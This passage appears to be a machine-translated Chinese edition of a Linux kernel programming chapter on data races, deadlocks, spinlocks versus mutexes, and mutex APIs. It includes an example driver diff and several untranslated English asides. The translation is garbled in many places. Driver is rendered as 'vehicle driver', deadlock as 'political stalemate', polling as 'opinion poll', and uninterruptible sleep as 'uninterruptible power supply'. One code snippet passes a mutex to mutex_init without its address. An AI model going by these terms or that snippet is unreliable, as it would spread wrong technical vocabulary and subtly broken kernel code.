中显示的情况相似;只是在这里,我们用伪代码来展示并发性。显然,从时间`t2`到时间`t3`,驱动程序正在处理一些全局共享的可写数据,因此这是一个关键部分。 - -现在,想象一个有四个 CPU 核心的系统(一个 SMP 系统);两个用户空间进程,P1(在比如 CPU 0 上运行)和 P2(在比如 CPU 2 上运行),可以并发打开设备文件并同时发出`read(2)`系统调用。现在,两个进程将同时执行驱动程序读取“方法”,从而同时处理共享的可写数据!这(在`t2`和`t3`之间的代码)是一个关键部分,由于我们违反了基本的排他规则——关键部分必须在任何时间点仅由一个线程执行——我们很可能最终破坏数据、应用,甚至更糟。 - -换句话说,这现在是一场**数据竞赛**;根据微妙的时间巧合,我们可能会也可能不会产生错误(bug)。正是这种不确定性——微妙的时间巧合——使得发现和修复这样的错误变得极其困难(它可以逃避您的测试工作)。 - -This aphorism is all too unfortunately true: *Testing can detect the presence of errors, not their absence.* Adding to this, you're worse off if your testing fails to catch races (and bugs), allowing them free rein in the field. - -您可能会觉得,由于您的产品是一个运行在一个 CPU 内核(UP)上的小型嵌入式系统,所以关于控制并发性(通常是通过锁定)的讨论并不适用于您。我们不敢苟同:几乎所有现代产品,如果还没有的话,都将转向多核(也许在它们的下一代阶段)。更重要的是,正如我们将要探讨的,即使是 UP 系统也有并发问题。 - -## 可抢占内核、阻塞输入/输出和数据竞争 - -假设您正在一个配置为可抢占的 Linux 内核上运行您的内核模块或驱动程序(也就是说,`CONFIG_PREEMPT`打开;我们在[第 10 章](10.html)、*中央处理器调度器–第 1 部分*中讨论了这个主题。考虑一个进程,P1,正在进程上下文中运行驱动程序的 read 方法代码,处理全局数组。现在,当它处于关键部分(在时间`t2`和`t3`之间)时,如果内核*抢占了*进程 P1,并且上下文切换到另一个进程 P2,它正在等待执行这个代码路径,会怎么样?这很危险,同样,这是一场数据竞赛。这很可能发生在甚至一个 UP 系统上! - -另一种情况有些类似(同样,可能发生在单核(UP)或多核系统上):进程 P1 正在运行驱动程序方法的关键部分(再次在时间`t2`和`t3;`之间,参见*图 12.5* )。这一次,如果在关键部分,它遇到了阻塞调用呢? - -一个**阻塞调用**是一个导致调用进程上下文进入休眠状态的函数,等待一个事件;当该事件发生时,内核将“唤醒”任务,并从它停止的地方继续执行。这也称为输入/输出阻塞,非常常见;许多 API(包括几个用户空间库和系统调用,以及几个内核 API)本质上都是阻塞的。在这种情况下,进程 P1 实际上是上下文关闭中央处理器并进入睡眠,这意味着`schedule()`的代码运行并将其排入等待队列。在此期间,在 P1 回归之前,如果另一个进程 P2 计划运行会怎么样?如果该进程也在运行这个特定的代码路径呢?想想看——当 P1 回来的时候,共享数据可能已经“在它下面”发生了变化,导致了各种各样的错误;再次,一场数据竞赛,一个 bug! - -## 硬件中断和数据竞争 - -最后,想象一下这个场景:流程 P1 再次无辜地运行驱动程序的读取方法代码;进入临界段(时间`t2`至`t3`之间;再次参见*图 12.5* )。它取得了一些进展,但是,唉,一个硬件中断触发(在同一个中央处理器上)!(您将在 *Linux 内核编程(第 2 部分)*中详细了解。)在 Linux OS 上,硬件(外设)中断优先级最高;默认情况下,它们会抢占任何代码(包括内核代码)。这样,进程(或线程)P1 至少会被暂时搁置,从而失去处理器;中断处理代码将抢占它并运行。 - -你可能会想,那又怎样?的确,这完全是家常便饭!硬件中断在现代系统中非常频繁,有效地(字面上)中断各种任务上下文(在你的 Shell 上快速`vmstat 3`;标有`in`的`system`下面的列显示了最近 1 秒内系统上触发的硬件中断的数量!).要问的关键问题是:中断处理代码(或者是 hardirq 上半部分,或者是所谓的 tasklet 或 softirq 下半部分,以发生的为准)*是否共享和处理刚刚中断的进程上下文的相同共享可写数据?* - -如果这是真的,那么,休斯顿,我们有一个问题-数据竞赛!如果没有,那么中断的代码就不是中断代码路径的关键部分,这没关系。事实是,大多数设备驱动程序确实处理中断;由此可见,它是司机作者的(你的!)确保没有全局或静态数据(实际上,没有关键部分)在进程上下文和中断代码路径之间共享的责任。如果是这样(这种情况确实发生了),您必须以某种方式保护这些数据免受数据竞争和可能的损坏。 - -这些场景可能会让您觉得防范这些并发问题是一项非常艰巨的任务;面对现有的关键部分以及各种可能的并发问题,您究竟如何实现数据安全?有趣的是,实际的 API 并不难学好用;再次强调**识别关键路段**是关键要做的事情。 - -Again, the basics regarding how a lock (conceptually) works, locking guidelines (very important; we'll recap on them shortly), and the types of and how to prevent deadlocks, are all dealt with in my earlier book, *Hands-On System Programming with Linux (Packt, Oct 2018)*. This books covers these points in detail in *Chapter 15*, *Multithreading with Pthreads Part II – Synchronization*. - -不用多说,让我们深入探讨一下主要的同步技术,它将用于保护我们的关键部分——锁定。 - -## 锁定指南和死锁 - -锁定,就其本质而言,是一种复杂的野兽;它往往会产生复杂的连锁场景。对它了解不够会导致性能问题和错误——死锁、循环依赖、中断不安全锁定等等。使用锁定时,以下锁定准则是确保正确编写代码的关键: - -* **锁定粒度**:锁定和解锁的“距离”(实际上是临界段的长度)不要粗(过长的临界段)要“足够细”;这是什么意思?以下几点解释了这一点: - * 你在这里需要小心。当你在处理大型项目时,锁太少是个问题,锁太多也是个问题!太少的锁会导致性能问题(因为相同的锁被重复使用,因此往往竞争激烈)。 - * 拥有大量锁实际上有利于性能,但不利于复杂性控制。这也引出了另一个需要理解的关键点:代码库中有许多锁,您应该非常清楚哪个锁保护哪个共享数据对象。如果你用,比如说,`lockA`来保护`mystructX`,这是完全没有意义的,但是在很远的代码路径(可能是一个中断处理程序)中,你忘记了这一点,当在同一个结构上工作时,试着用一些其他的锁,`lockB`来保护!现在,这些事情听起来可能很明显,但是(正如有经验的开发人员所知),在足够大的压力下,即使是显而易见的事情也不总是显而易见的! - * 试着平衡一下。在大型项目中,通常使用一个锁来保护一个全局(共享)数据结构。(*将*命名为锁变量井本身就可能成为一个大问题!这就是为什么我们将保护数据结构的锁作为成员放在其中的原因。) -* **锁定排序**很关键;**在整个**中,锁必须以相同的顺序获取,并且它们的顺序应该被记录下来,并且被所有从事该项目的开发人员所遵循(注释锁也是有用的;在下一章关于*锁定*的章节中有更多的相关内容。不正确的锁排序通常会导致死锁。 -* 尽可能避免递归锁定。 -* 注意防止饥饿;验证锁一旦被拿走,是否确实“足够快地”被释放。 -* **简单是关键**:尽量避免复杂或过度设计,尤其是涉及锁的复杂场景。 - -关于锁定的话题,出现了(危险的)死锁问题。一**僵局**是无法取得任何进展;换句话说,应用和/或内核组件似乎无限期挂起。虽然我们不打算在这里深究死锁的血淋淋的细节,但我将很快提到一些可能发生的更常见类型的死锁场景: - -* 简单案例,单锁,流程上下文: - * 我们尝试两次获取同一个锁;这会导致**自死锁**。 - -* 简单案例,多个(两个或更多)锁,流程上下文–示例: - - * 在 CPU `0`上,线程 A 获取锁 A,然后想要锁 b。 - * 同时,在 CPU `1`上,线程 B 获取锁 B,然后想要锁 A。 - * 结果是一个僵局,通常被称为 **AB-BA** **僵局**。 - * 可以扩展;例如,AB-BC-CA **循环依赖** (A-B-C 锁链)导致死锁。 -* 复杂情况、单锁、进程和中断上下文: - * 锁 A 接受中断上下文。 - * 如果中断发生(在另一个内核上)并且处理程序试图获取锁 A 怎么办?结果就是僵局!因此,在中断上下文中获取的锁必须始终在中断禁用的情况下使用。(怎么做?当我们讨论自旋锁的时候,我们会更详细地讨论这个问题。) -* 更复杂的情况、多个锁以及进程和中断(hardirq 和 softirq)上下文 - -在更简单的情况下,始终遵循*锁排序准则*就足够了:始终以一种记录良好的顺序获取和释放锁(我们将在*使用互斥锁*一节的内核代码中提供一个例子)。然而,这可能会变得非常复杂;复杂的死锁场景甚至会让有经验的开发人员出错。幸运的是,***lock dep***——Linux 内核的运行时锁依赖验证器——可以捕捉每一个死锁情况!(别担心,我们会到达那里的:我们将在下一章中详细介绍 lockdep)。当我们讨论自旋锁(使用自旋锁的*部分)时,我们会遇到与前面提到的类似的进程和/或中断上下文场景;这里明确了要使用的自旋锁的类型。* - -*With regard to deadlocks, a pretty detailed presentation on lockdep was given by Steve Rostedt at a Linux Plumber's Conference (back in 2011); the relevant slides are informative and explore both simple and complex deadlock scenarios, as well as how lockdep can detect them ([https://blog.linuxplumbersconf.org/2011/ocw/sessions/153](https://blog.linuxplumbersconf.org/2011/ocw/sessions/153)). - -Also, the reality is that not just deadlock, but even **livelock** situations, can be just as deadly! Livelock is essentially a situation similar to deadlock; it's just that the state of the participating task is running and not waiting. An example, an interrupt "storm" can cause a livelock; modern network drivers mitigate this effect by switching off interrupts (under interrupt load) and resorting to a polling technique called **New API; Switching Interrupts** (**NAPI**) (switching interrupts back on when appropriate; well, it's more complex than that, but we leave it at that here). - -对于那些生活在岩石下的人来说,你会知道 Linux 内核有两种主要类型的锁:互斥锁和自旋锁。实际上,还有其他几种类型,包括其他同步(和“无锁”编程)技术,所有这些都将在本章和下一章中介绍。 - -# 互斥还是自旋锁?什么时候使用哪个 - -学习使用互斥锁和自旋锁的确切语义非常简单(内核 API 集内有适当的抽象,这使得典型的驱动程序开发人员或模块作者更加容易)。这种情况下的关键问题是一个概念性的问题:这两个锁到底有什么区别?更切题的是,在什么情况下应该使用哪个锁?在本节中,您将学习这些问题的答案。 - -以我们之前的驱动读取方法的伪代码(*图 12.5* )为基础示例,假设三个线程–**tA**、 **tB** 和**tC**–通过该代码并行运行(在 SMP 系统上)。我们将通过在临界段开始之前(时间 **t2** )获取或获取锁,并在临界段代码路径结束之后(时间 **t3** )释放锁(解锁),来解决这个并发问题,同时避免任何数据竞争。让我们再看一遍伪代码,这次使用锁定来确保它是正确的: - -![](img/eec4d711-0d3c-437b-93e9-e0f9b87fde80.png) - -Figure 12.6 – Pseudocode – a critical section within a (fictional) driver's read method; correct, with locking - -当三个线程试图同时获取锁时,系统保证只有其中一个线程会获得锁。假设 **tB** (线程 B)获得锁:现在是“赢家”或“拥有者”线程。这意味着线程 **tA** 和 **tC** 是“输家”;他们是做什么的?他们等待开锁!“胜者”( **tB** )完成关键段并解锁锁的瞬间,之前的败者之间的战斗重新开始;他们中的一个将成为下一个赢家,这个过程重复进行。 - -互斥锁和自旋锁这两种锁的主要区别在于失败者如何等待解锁。有了互斥锁,失败线程就进入休眠状态;也就是说,他们通过睡觉来等待。赢家执行解锁的那一刻,内核唤醒了输家(他们所有人),他们跑了,再次争夺锁。(事实上,互斥体和信号量有时被称为睡眠锁。) - -然而,有了**自旋锁**,就没有睡觉的问题了;失败者等待锁旋转,直到锁被打开。从概念上看,这看起来如下: - -```sh -while (locked) ; -``` - -注意这只是*概念上的*。想一想——这实际上是民意测验。然而,作为一名优秀的程序员,你会明白,轮询通常被认为是一个坏主意。那么,为什么自旋锁是这样工作的呢?嗯,它没有;它只是出于概念目的才以这种方式提出。您很快就会明白,自旋锁只有在多核(SMP)系统上才真正有意义。在这样的系统上,当赢家线程离开并运行关键部分代码时,输家通过在其他中央处理器内核上旋转来等待!实际上,在实现层面上,用于实现现代自旋锁的代码是高度优化的(并且是特定于 arch 的),并且不会通过简单的“旋转”来工作(例如,许多 ARM 的自旋锁实现使用**等待事件** ( **WFE** )机器语言指令,这使得 CPU 在低功率状态下最佳地等待;请参阅*进一步阅读*部分,了解有关自旋锁内部实现的一些资源。 - -## 从理论上确定使用哪个锁 - -spinlock 是如何实现的,这真的不是我们关心的问题;我们感兴趣的是,自旋锁的开销比互斥锁低。为什么很简单,真的:要让互斥锁工作,失败线程必须进入睡眠状态。为此,在内部,调用`schedule()`函数,这意味着失败者将互斥锁 API 视为阻塞调用!对调度程序的调用将最终导致处理器被上下文关闭。相反,当所有者线程解锁锁时,失败者线程必须被唤醒;同样,它将被上下文切换回处理器。因此,互斥锁/解锁操作的最小“成本”是在给定机器上执行两次上下文切换所需的时间。(参见下一节*信息框*。)通过再次查看前面的截图,我们可以确定一些事情,包括花费在关键部分的时间(“锁定”的代码路径);也就是`t_locked = t3 - t2`。 - -假设`t_ctxsw`代表上下文切换的时间。据我们所知,互斥锁/解锁操作的最小成本是`2 * t_ctxsw`。现在,假设下面的表达式是正确的: - -```sh -t_locked < 2 * t_ctxsw -``` - -换句话说,如果在关键部分花费的时间少于两次上下文切换所花费的时间,会怎样?在这种情况下,使用互斥锁是错误的,因为这是太多的开销;执行元工作比实际工作花费的时间更多——这种现象被称为**抖动**。正是这种精确的用例——非常短的关键部分的存在——在现代操作系统(如 Linux)上经常如此。因此,总之,对于短的非阻塞关键部分,使用自旋锁(远)优于使用互斥锁。 - -## 确定使用哪个锁–实际上 - -所以,在`t_locked < 2 * t_ctxsw`“规则”下操作在理论上可能很棒,但是等等:你真的被期望精确地测量上下文切换时间和在每个存在一个(关键部分)的情况下在关键部分花费的时间吗?不,当然不是——那是非常不现实和迂腐的。 - -实际上,这样想:互斥锁的工作原理是让失败线程在解锁时休眠;自旋锁没有(失败者“自旋”)。让我们回忆一下 Linux 内核的一个黄金规则:在任何一种原子上下文中,内核都不能休眠(调用`schedule()`)。因此,我们永远不能在中断上下文中使用互斥锁,或者在睡眠不安全的任何上下文中使用互斥锁;然而,使用自旋锁就可以了。(记住,阻塞 API 是通过调用`schedule()`使调用上下文进入睡眠状态的 API。)让我们总结一下: - -* **临界区是在原子(中断)上下文中运行,还是在进程上下文中无法休眠?**使用自旋锁。 -* **临界区是否在进程上下文中运行,临界区的休眠是否必要?**使用互斥锁。 - -当然,使用自旋锁被认为比使用互斥锁开销更低;因此,您甚至可以在流程上下文中使用 spinlock(比如我们虚构的驱动程序的 read 方法),只要关键部分没有阻塞(sleep)。 - -**[1]** The time taken for a context switch is varied; it largely depends on the hardware and the OS quality. Recent (September 2018) measurements show that context switching time is in the region of 1.2 to 1.5 **us** (**microseconds**) on a pinned-down CPU, and around 2.2 us without pinning ([https://eli.thegreenplace.net/2018/measuring-context-switching-and-memory-overheads-for-linux-threads/](https://eli.thegreenplace.net/2018/measuring-context-switching-and-memory-overheads-for-linux-threads/)). - -Both hardware and the Linux OS have improved tremendously, and because of that, so has the average context switching time. An old (December 1998) Linux Journal article determined that on an x86 class system, the average context switch time was 19 us (microseconds), and that the worst-case time was 30 us. - -这就提出了一个问题,我们如何知道代码当前是在进程还是中断上下文中运行?简单:我们的`PRINT_CTX()`宏(在我们的`convenient.h`头中)向我们展示了这一点: - -```sh -if (in_task()) - /* we're in process context (usually safe to sleep / block) */ -else - /* we're in an atomic or interrupt context (cannot sleep / block) */ -``` - -(我们的`PRINT_CTX()`宏实现的细节包含在 *Linux 内核编程(第 2 部分)*中)。 - -现在,您已经了解了使用哪个互斥体或自旋锁以及何时使用,让我们进入实际使用。我们将从如何使用互斥锁开始! - -# 使用互斥锁 - -互斥锁也被称为可休眠锁或阻塞互斥锁。如您所知,如果关键部分可以休眠(阻塞),则在流程上下文中使用它们。它们不能用于任何种类的原子或中断上下文(上半部分、下半部分,如小任务或软 IRQ 等)、内核定时器,甚至是不允许阻塞的进程上下文。 - -## 初始化互斥锁 - -互斥锁“对象”在内核中表示为`struct mutex`数据结构。考虑以下代码: - -```sh -#include -struct mutex mymtx; -``` - -要使用互斥锁,它*必须*被显式初始化为解锁状态。初始化可以通过`DEFINE_MUTEX()`宏静态执行(声明和初始化对象),也可以通过`mutex_init()`函数动态执行(这实际上是`__mutex_init()`函数的宏包装)。 - -例如,要声明和初始化一个名为`mymtx`的互斥对象,我们可以使用`DEFINE_MUTEX(mymtx);`。 - -我们也可以动态地这样做。为什么是动态的?通常,互斥锁是它保护的(全局)数据结构的成员(聪明!).例如,假设我们的驱动程序代码中有以下全局上下文结构(请注意,该代码是虚构的): - -```sh -struct mydrv_priv { - ; - ; - [...] - struct mutex mymtx; /* protects access to mydrv_priv */ - [...] -}; -``` - -然后,在您的驾驶员(或 LKM)方法中,执行以下操作: - -```sh -static int init_mydrv(struct mydrv_priv *drvctx) -{ - [...] - mutex_init(drvctx->mymtx); - [...] -} -``` - -保持锁变量作为它所保护的(父)数据结构的成员是 Linux 中使用的一种常见(也是聪明的)模式;这种方法还有一个额外的好处,那就是避免了名称空间污染,并且对于哪个互斥体保护哪个共享数据项是明确的(这是一个比最初看起来更大的问题,尤其是在像 Linux 内核这样的大型项目中!). - -Keep the lock protecting a global or shared data structure as a member within that data structure. - -## 正确使用互斥锁 - -通常,您可以在内核源代码树中找到非常有见地的评论。这里有一个很棒的例子,它简洁地总结了正确使用互斥锁必须遵循的规则;请仔细阅读: - -```sh -// include/linux/mutex.h -/* - * Simple, straightforward mutexes with strict semantics: - * - * - only one task can hold the mutex at a time - * - only the owner can unlock the mutex - * - multiple unlocks are not permitted - * - recursive locking is not permitted - * - a mutex object must be initialized via the API - * - a mutex object must not be initialized via memset or copying - * - task may not exit with mutex held - * - memory areas where held locks reside must not be freed - * - held mutexes must not be reinitialized - * - mutexes may not be used in hardware or software interrupt - * contexts such as tasklets and timers - * - * These semantics are fully enforced when DEBUG_MUTEXES is - * enabled. Furthermore, besides enforcing the above rules, the mutex - * [ ... ] -``` - -作为内核开发人员,您必须了解以下内容: - -* 一个关键部分导致代码路径*被序列化,破坏了并行性*。因此,你必须尽可能缩短关键部分。一个推论是**锁定数据,而不是编码**。 -* 试图重新获取已经获取(锁定)的互斥锁(这实际上是递归锁定)是不支持的*,并将导致自死锁。* -** **锁排序**:这是防止危险死锁情况的一个非常重要的经验法则。在存在多个线程和多个锁的情况下,*记录获取锁的顺序并由所有从事该项目的开发人员严格遵守是至关重要的。*实际的锁排序本身并不是神圣不可侵犯的,但是一旦决定了就必须遵循的事实是。在浏览内核源代码树时,您会遇到内核开发人员确保做到这一点的许多地方,他们(通常)会就此写一个注释,供其他开发人员查看和遵循。下面是来自 slab 分配器代码(`mm/slub.c`)的示例注释:* - -```sh -/* - * Lock order: - * 1\. slab_mutex (Global Mutex) - * 2\. node->list_lock - * 3\. slab_lock(page) (Only on some arches and for debugging) -``` - -既然我们从概念的角度理解了互斥体是如何工作的(并且理解了它们的初始化),那么让我们学习如何利用锁定/解锁 API。 - -## 互斥锁和解锁应用编程接口及其使用 - -互斥锁的实际锁定和解锁 API 如下。下面的代码分别展示了如何锁定和解锁互斥体: - -```sh -void __sched mutex_lock(struct mutex *lock); -void __sched mutex_unlock(struct mutex *lock); -``` - -(这里忽略`__sched`;只是一个编译器属性让这个函数消失在`WCHAN`输出中,这个输出出现在 procfs 中,并且带有某些选项切换到`ps(1)`(比如`-l`)。 - -再次,`kernel/locking/mutex.c`中源代码内的注释非常详细,描述性很强;我鼓励你更详细地看一下这个文件。我们在这里只展示了它的一些代码,这些代码直接取自 5.4 Linux 内核源代码树: - -```sh -// kernel/locking/mutex.c -[ ... ] -/** - * mutex_lock - acquire the mutex - * @lock: the mutex to be acquired - * - * Lock the mutex exclusively for this task. If the mutex is not - * available right now, it will sleep until it can get it. - * - * The mutex must later on be released by the same task that - * acquired it. Recursive locking is not allowed. The task - * may not exit without first unlocking the mutex. Also, kernel - * memory where the mutex resides must not be freed with - * the mutex still locked. The mutex must first be initialized - * (or statically defined) before it can be locked. memset()-ing - * the mutex to 0 is not allowed. - * - * (The CONFIG_DEBUG_MUTEXES .config option turns on debugging - * checks that will enforce the restrictions and will also do - * deadlock debugging) - * - * This function is similar to (but not equivalent to) down(). - */ -void __sched mutex_lock(struct mutex *lock) -{ - might_sleep(); - - if (!__mutex_trylock_fast(lock)) - __mutex_lock_slowpath(lock); -} -EXPORT_SYMBOL(mutex_lock); -``` - -`might_sleep()`是一个具有有趣调试属性的宏;它捕获应该在原子上下文中执行但没有执行的代码!(关于`might_sleep()`的解释可以在 *Linux 内核编程(第二部分)*一书中找到)。所以,考虑一下:`might_sleep()`,这是`mutex_lock()`中的第一行代码,意味着这个代码路径不应该被原子上下文中的任何东西执行,因为它可能会休眠。这意味着您应该只在进程上下文中使用互斥体,当它可以安全睡眠的时候! - -**A quick and important reminder**: The Linux kernel can be configured with a large number of debug options; in this context, the `CONFIG_DEBUG_MUTEXES` config option will help you catch possible mutex-related bugs, including deadlocks. Similarly, under the Kernel Hackingmenu, you will find a large number of debug-related kernel config options. We discussed this in [Chapter 5](05.html), *Writing Your First Kernel Module – LKMs Part 2*. There are several very useful kernel configs with regard to lock debugging; we shall cover these in the next chapter, in the *Lock debugging within the kernel* section. - -### 互斥锁–通过[不]可中断睡眠? - -像往常一样,互斥体的内容比我们目前看到的要多。您已经知道,一个 Linux 进程(或线程)在状态机的各种状态中循环。在 Linux 上,睡眠有两种独立的状态——可中断睡眠和不间断睡眠。可中断睡眠中的进程(或线程)是敏感的,这意味着它将响应用户空间信号,而不间断睡眠中的任务对用户信号不敏感。 - -在具有底层驱动程序的人机交互应用中,作为一般的经验法则,您通常应该将一个进程置于可中断的睡眠状态(当它在锁定时被阻塞),从而由最终用户决定是否通过按下 *Ctrl* + *C* (或一些涉及信号的机制)来中止应用。在类似 Unix 的系统上,有一个设计规则经常被遵循:**提供机制,而不是策略**。说到这里,在非交互代码路径上,通常情况下您必须等待锁无限期等待,语义是已经传递给任务的信号不应该中止阻塞等待。在 Linux 上,不间断电源是最常见的。 - -所以,事情是这样的:`mutex_lock()` API 总是让调用任务进入不间断睡眠。如果这不是您想要的,请使用`mutex_lock_interruptible()`应用编程接口将调用任务置于可中断睡眠状态。语法上有一个区别;后者在成功时返回一个整数值`0`,在失败时(由于信号中断)返回一个整数值`-EINTR`(记住`0` / `-E`返回惯例)。 - -总的来说,使用`mutex_lock()`比使用`mutex_lock_interruptible()`要快;当关键部分很短时使用它(这样就可以保证锁保持很短的时间,这是一个非常理想的特性)。 - -The 5.4.0 kernel contains over 18,500 and just over 800 instances of calling the `mutex_lock()` and `mutex_lock_interruptible()` APIs, respectively; you can check this out via the powerful `cscope(1)` utility on the kernel source tree. - -理论上,内核也提供了一个`mutex_destroy()`应用编程接口。这与`mutex_init()`相反;它的工作是将互斥体标记为不可用。它只能在互斥体处于解锁状态时被调用,一旦被调用,互斥体就不能被使用。这有点理论化,因为在常规系统中,它只是简化为一个空函数;只有在启用了`CONFIG_DEBUG_MUTEXES`的内核上,它才成为真正的(简单的)代码。因此,当使用互斥体时,我们应该使用这种模式,如下面的伪代码所示: - -```sh -DEFINE_MUTEX(...); // init: initialize the mutex object -/* or */ mutex_init(); -[ ... ] - /* critical section: perform the (mutex) locking, unlocking */ - mutex_lock[_interruptible](); - << ... critical section ... >> - mutex_unlock(); - mutex_destroy(); // cleanup: destroy the mutex object -``` - -既然您已经学习了如何使用互斥锁 APIs,让我们来运用这些知识。在下一节中,我们将建立在我们早期的一个之上(写得不好-没有保护!)“杂项”驱动程序,使用互斥对象根据需要锁定关键部分。 - -## 互斥锁——一个示例驱动程序 - -我们在《Linux 内核编程(第 2 部分)》一书中的*编写简单的杂项字符设备驱动程序*一章中创建了一个简单的设备驱动程序代码示例;也就是`miscdrv_rdwr`。在那里,我们编写了一个简单的`misc`类字符设备驱动程序,并使用了一个用户空间实用程序(`miscdrv_rdwr/rdwr_drv_secret.c`)来读写设备驱动程序内存中的一个(所谓的)秘密。 - -然而,我们突出地(过分地)是正确的词在这里!)未能做到,因为代码是受保护的共享(全局)可写数据!这将使我们在现实世界中付出高昂的代价。我建议您花点时间考虑一下:两个(或三个或更多)用户模式进程打开这个驱动程序的设备文件,然后并发发出各种 I/O 读写是不可行的。在这里,全局共享可写数据(在这种特殊情况下,两个全局整数和驱动程序上下文数据结构)很容易被破坏。 - -因此,让我们通过复制这个驱动程序(我们现在称之为`ch12/1_miscdrv_rdwr_mutexlock/1_miscdrv_rdwr_mutexlock.c`)并重写它的一些部分来学习和纠正我们的错误。关键是我们必须使用互斥锁来保护所有的关键部分。与其在这里显示代码(毕竟是在本书的[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)的 GitHub 库中,请做`git clone`吧!),让我们做一些有趣的事情:让我们看看旧的未受保护版本和新的受保护代码版本之间的“差异”(差异–由`diff(1)`生成的增量)。此处的输出已被截断: - -```sh -$ pwd -<...>/ch12/1_miscdrv_rdwr_mutexlock -$ diff -u ../../ch12/miscdrv_rdwr/miscdrv_rdwr.c miscdrv_rdwr_mutexlock.c > miscdrv_rdwr.patch -$ cat miscdrv_rdwr.patch -[ ... ] -+#include // mutex lock, unlock, etc - #include "../../convenient.h" -[ ... ] --#define OURMODNAME "miscdrv_rdwr" -+#define OURMODNAME "miscdrv_rdwr_mutexlock" - -+DEFINE_MUTEX(lock1); // this mutex lock is meant to protect the integers ga and gb -[ ... ] -+ struct mutex lock; // this mutex protects this data structure - }; -[ ... ] -``` - -在这里,我们可以看到,在驱动程序的较新安全版本中,我们已经声明并初始化了一个名为`lock1`的互斥变量;我们将使用它来保护驱动程序中的两个全局整数`ga`和`gb`(仅用于演示目的)。接下来,重要的是,我们在“驱动上下文”数据结构中声明了一个名为`lock`的互斥锁;也就是`drv_ctx`。这将用于保护对该数据结构成员的任何和所有访问。在`init`代码内初始化: - -```sh -+ mutex_init(&ctx->lock); -+ -+ /* Initialize the "secret" value :-) */ - strlcpy(ctx->oursecret, "initmsg", 8); -- dev_dbg(ctx->dev, "A sample print via the dev_dbg(): driver initialized\n"); -+ /* Why don't we protect the above strlcpy() with the mutex lock? -+ * It's working on shared writable data, yes? -+ * Yes, BUT this is the init code; it's guaranteed to run in exactly -+ * one context (typically the insmod(8) process), thus there is -+ * no concurrency possible here. The same goes for the cleanup -+ * code path. -+ */ -``` - -这个详细的评论清楚地解释了为什么我们不需要在`strlcpy()`左右锁定/解锁。同样,这应该是显而易见的,但是局部变量对于每个进程上下文都是隐式私有的(因为它们驻留在该进程或线程的内核模式堆栈中),因此不需要保护(每个线程/进程都有一个单独的变量*实例*,所以没有人会踩到任何人的脚!).在我们忘记之前,*清理*代码路径(通过`rmmod(8)`进程上下文调用)必须销毁互斥体: - -```sh --static void __exit miscdrv_rdwr_exit(void) -+static void __exit miscdrv_exit_mutexlock(void) - { -+ mutex_destroy(&lock1); -+ mutex_destroy(&ctx->lock); - misc_deregister(&llkd_miscdev); - } -``` - -现在,让我们看看驱动程序打开方法的不同之处: - -```sh -+ -+ mutex_lock(&lock1); -+ ga++; gb--; -+ mutex_unlock(&lock1); -+ -+ dev_info(dev, " filename: \"%s\"\n" - [ ... ] -``` - -这就是我们操纵全局整数的地方,*使其成为关键部分*;与这个程序的前一个版本不同(在 *Linux 内核编程(第 2 部分)*中),在这里,我们*用`lock1`互斥体保护这个关键部分*。就是这样:这里的关键部分是代码`ga++; gb--;`:在(互斥)锁和解锁操作之间的代码。 - -但是(总有但是,不是吗?),一切都不顺利!看看`mutex_unlock()`行代码后面的`printk`功能(`dev_info()`): - -```sh -+ dev_info(dev, " filename: \"%s\"\n" -+ " wrt open file: f_flags = 0x%x\n" -+ " ga = %d, gb = %d\n", -+ filp->f_path.dentry->d_iname, filp->f_flags, ga, gb); -``` - -你觉得这样可以吗?不,仔细看:我们是*在读*全局整数的值,`ga`和`gb`。回想一下基本原理:在并发的情况下(这在这个驱动程序的 *open* 方法中肯定是可能的),*即使在没有锁的情况下读取共享的可写数据也是潜在不安全的*。如果这对你没有意义,请想一想:如果当一个线程正在读取整数时,另一个线程正在同时更新(写入)它们,会怎么样;然后呢?这种情况称为一**脏读**(或一**撕读)**;我们最终可能会读取陈旧的数据,因此必须加以防范。(事实是,这并不是一个真正的脏读的好例子,因为在大多数处理器上,读写单个整数项确实倾向于原子操作。然而,我们绝不能假设这样的事情——我们必须只是做好我们的工作并保护它。) - -事实上,还有另一个类似的 bug 在等待:我们已经从打开的文件结构(即`filp`指针)中读取了数据,却没有费心去保护它(确实,打开的文件结构有锁;我们应该用它!我们将稍后这样做)。 - -The precise semantics of how and when things such as *dirty reads* occur does tend to be very arch (machine)-dependent; nevertheless, our job as module or driver authors is clear: we must ensure that we protect all critical sections. This includes reads upon shared writable data. - -现在,我们将把这些标记为潜在的错误(bug)。我们将在*中使用原子整数运算符*部分以更有利于性能的方式来解决这个问题。查看驱动程序读取方法的差异会发现一些有趣的东西(忽略这里显示的行号;他们可能会改变): - -![](img/29085e00-5881-4ccd-a00d-48e6d6127076.png) - -Figure 12.7 – The diff of the driver's read() method; see the usage of the mutex lock in the newer version - -我们现在已经使用了驱动程序上下文结构的互斥锁来保护关键部分。设备驱动程序的*写*和*关闭*(释放)方法也是如此(自己生成补丁看看)。 - -注意,用户模式 app 保持不变,这意味着对于我们测试新的更安全版本,我们必须在`ch12/miscdrv_rdwr/rdwr_drv_secret.c`继续使用用户模式 app。在包含各种锁定错误和死锁检测功能的调试内核上运行和测试这样的驱动程序代码至关重要(我们将在下一章的*内核内的锁定调试*一节中返回这些“调试”功能)。 - -在前面的代码中,我们在`copy_to_user()`例程之前获取了互斥锁;没关系。但是,我们只在`dev_info()`之后发布。为什么不在此之前发布`printk`,从而缩短关键部分? - -仔细观察`dev_info()`会发现为什么它在临界区内*。我们在这里打印三个变量的值:`secret_len`读取的字节数和`ctx->tx`和`ctx->rx`分别“发送”和“接收”的字节数。`secret_len`是一个局部变量,不需要保护,但是另外两个变量在全局驱动程序上下文结构中,因此需要保护,即使是来自(可能是脏的)读取。* - -## 互斥锁——剩下的几点 - -在这一节中,我们将介绍一些关于互斥体的附加要点。 - -### 互斥锁应用编程接口变体 - -首先,让我们看一看互斥锁 API 的几个变体;除了可中断变量(在*互斥锁中描述–通过【不】可中断睡眠?*部分),我们有 *trylock、可杀*和 *io* 变体。 - -#### 互斥 trylock 变量 - -如果你想实现一个**忙-等**语义呢;也就是说,测试(互斥)锁的可用性,如果可用(意味着它当前未锁定),获取/锁定它并继续关键部分代码路径?如果该选项不可用(当前处于锁定状态),请不要等待锁定;相反,执行一些其他工作,然后重试。实际上,这是非阻塞互斥锁变体,称为 trylock 以下流程图显示了它的工作原理: - -![](img/d352a385-2e0c-4726-b45a-a9aab9f81f38.png) - -Figure 12.8 – The "busy wait" semantic, a non-blocking trylock operation - 